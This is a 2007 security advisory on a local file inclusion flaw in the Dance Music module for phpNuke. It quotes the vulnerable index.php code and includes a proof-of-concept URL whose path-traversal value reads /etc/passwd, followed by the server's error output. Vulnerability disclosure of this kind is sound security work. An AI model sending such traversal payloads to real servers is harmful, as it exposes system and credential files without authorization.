[waraxe-2007-SA#054] - Local File Inclusion in Dance Music module for phpNuke ======================================================================== ==== Author: Janek Vind "waraxe" Date: 25. September 2007 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-54.html Target software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.bestdownload.biz/modules.php?name=Downloads&d_op=viewdownload details &lid=251&title=Dance%20Music%20for%20PHP-Nuke Dance Music for PHP-Nuke by MultiMedia http://www.multimedia.com.ro and Nicolae Sfetcu http://www.sfetcu.com Vulnerabilities: Local File Inclusion in "index.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Let's take a peek at source code of "index.php": ------------>[source code]<------------ include("header.php"); ... $ACCEPT_FILE['Acid_house.html'] = 'Acid_house.html'; $ACCEPT_FILE['Alternative_dance.html'] = 'Alternative_dance.html'; $ACCEPT_FILE['Ambient_house.html'] = 'Ambient_house.html'; ... $page = $_GET['page']; ... $pagename = $ACCEPT_FILE[$page]; if (!isSet($pagename)) $pagename = "index.html"; include("modules/Dance_Music-MM/$pagename"); ------------>[/source code]<----------- As we can see, "$ACCEPT_FILE" array is uninitialized, so we can insert there arbitrary values from $_GET/$_POST/$_COOKIES parameters, if "register_globals" is active. Proof-of-concept test: http://victim.com/modules.php?name=Dance_Music-MM&page=1 &ACCEPT_FILE[1]=../../../../../../../../../etc/passwd Warning: main() [function.main]: open_basedir restriction in effect. File(./modules/Dance_Music-MM/../../../../../../../../../../../../etc/pa sswd ) is not within the allowed path(s): (/home/www/web32/) in /home/www/web32/html/portal/modules/Dance_Music-MM/index.php on line 154 So local file inclusion exists, but safe mode can make exploiting harder. //-----> See ya soon and have a nice day ;) <-----// Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb and anyone else who know me!
